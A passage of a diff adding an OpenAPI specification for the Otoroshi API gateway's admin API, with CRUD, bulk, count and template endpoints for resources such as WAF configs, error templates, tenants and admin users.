+ "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModule" + } + } + } + } + } + }, + "/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/_bulk" : { + "post" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Create multiple CorazaConfig at the same time", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + }, + "put" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Update multiple CorazaConfig at the same time", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/coraza-waf.extensions.otoroshi.io.CorazaConfig" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple CorazaConfig at the same time", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "coraza-config", "coraza-waf.extensions.otoroshi.io" ], + "summary" : "Delete multiple CorazaConfig at the same time", + "operationId" : "coraza-waf.extensions.otoroshi.io.CorazaConfig.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/route-compositions" : { + "get" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Find all possible RouteComposition entities", + "operationId" : "proxy.otoroshi.io.RouteComposition.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Creates a RouteComposition", + "operationId" : "proxy.otoroshi.io.RouteComposition.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + }, + "/api/cluster/quotas" : { + "put" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.updateState", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/tenants/_count" : { + "get" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Get number of entity of kind Tenant", + "operationId" : "organize.otoroshi.io.Tenant.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/events.otoroshi.io/v1/data-exporters/_template" : { + "get" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Return a template of a resource of kind DateExporter", + "operationId" : "events.otoroshi.io.DateExporter.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind DateExporter", + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + } + }, + "/api/snowmonkey/outages" : { + "delete" : { + "tags" : [ "snowmonkey" ], + "summary" : "Reset the snowmonkey outages", + "operationId" : "otoroshi.controllers.adminapi.SnowMonkeyController.resetSnowMonkey", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Done" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + }, + "get" : { + "tags" : [ "snowmonkey" ], + "summary" : "Get the current snowmonkey outages", + "operationId" : "otoroshi.controllers.adminapi.SnowMonkeyController.getSnowMonkeyOutages", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/OutagesList" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/error-templates" : { + "get" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Find all possible ErrorTemplate entities", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Creates a ErrorTemplate", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + }, + "/apis/green-score.extensions.otoroshi.io/v1/green-scores" : { + "get" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Find all possible GreenScore entities", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Creates a GreenScore", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + }, + "/apis/config.otoroshi.io/v1/global-configs" : { + "get" : { + "tags" : [ "global-config", "config.otoroshi.io" ], + "summary" : "Find all possible GlobalConfig entities", + "operationId" : "config.otoroshi.io.GlobalConfig.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/config.otoroshi.io.GlobalConfig" + } + } + } + } + } + } + } + }, + "/apis/green-score.extensions.otoroshi.io/v1/green-scores/_template" : { + "get" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Return a template of a resource of kind GreenScore", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind GreenScore", + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/error-templates/_bulk" : { + "post" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Create multiple ErrorTemplate at the same time", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + }, + "put" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Update multiple ErrorTemplate at the same time", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ErrorTemplate" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple ErrorTemplate at the same time", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Delete multiple ErrorTemplate at the same time", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/events.otoroshi.io/v1/data-exporters/_count" : { + "get" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Get number of entity of kind DateExporter", + "operationId" : "events.otoroshi.io.DateExporter.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/backends/_template" : { + "get" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Backend", + "operationId" : "proxy.otoroshi.io.Backend.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Backend", + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-modules/_count" : { + "get" : { + "tags" : [ "auth-module", "security.otoroshi.io" ], + "summary" : "Get number of entity of kind AuthModule", + "operationId" : "security.otoroshi.io.AuthModule.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admins/_bulk" : { + "post" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Create multiple SimpleAdminUser at the same time", + "operationId" : "security.otoroshi.io.SimpleAdminUser.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.SimpleAdminUser" + } + } + } + } + } + }, + "delete" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Delete multiple SimpleAdminUser at the same time", + "operationId" : "security.otoroshi.io.SimpleAdminUser.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admins/{id}" : { + "get" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Find resource of kind SimpleAdminUser by its id", + "operationId" : "security.otoroshi.io.SimpleAdminUser.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + 